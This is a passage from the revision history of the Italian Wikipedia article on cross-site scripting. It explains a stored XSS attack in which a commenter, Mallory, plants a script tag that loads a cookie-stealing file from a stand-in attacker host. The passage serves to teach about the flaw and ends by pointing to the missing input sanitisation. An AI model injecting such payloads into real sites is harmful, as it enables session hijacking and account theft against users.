Cross-site scripting: differenze tra le versioni

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Recupero di 1 fonte/i e segnalazione di 0 link interrotto/i. #IABot (v1.6.4)
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# Mallory legge l'articolo nella sezione News e scrive in un commento. Nel commento inserisce questo testo: <code>Io amo i cuccioli di questa storia. Sono così carini! <script src="http://mallorysevilsite.com/authstealer.js"></code>,
# Quando Alice (o chiunque altro utente) carica la pagina con il commento, lo script di Mallory viene eseguito, ruba il cookie di sessione di Alice e lo invia al server segreto di Mallory<ref name="thegeekstuff.com">{{Cita web|url=http://www.thegeekstuff.com/2012/02/xss-attack-examples/|titolo=XSS Attack Examples (Cross-Site Scripting Attacks)|sito=www.thegeekstuff.com|accesso=21 maggio 2016}}</ref>.
# Mallory può quindi sfruttare la sessione di Alice e usare il suo account fino a una eventuale invalidazione del cookie<ref name="thegeekstuff.com"/><ref>{{Cita web|url=http://www.networkworld.com/news/2007/100407-web-site-vulnerabilities.html|titolo=The top 10 reasons Web sites get hacked|cognome=Brodkin|nome=Jon|sito=Network World|accesso=21 maggio 2016|urlmorto=sì|urlarchivio=https://web.archive.org/web/20140327213413/http://www.networkworld.com/news/2007/100407-web-site-vulnerabilities.html|dataarchivio=27 marzo 2014}}</ref>.
Il software del sito di Bob avrebbe potuto analizzare i commenti nella sezione notizie e rimuovere o correggere eventuali script, ma non l'ha fatto, in questo risiede il bug di sicurezza.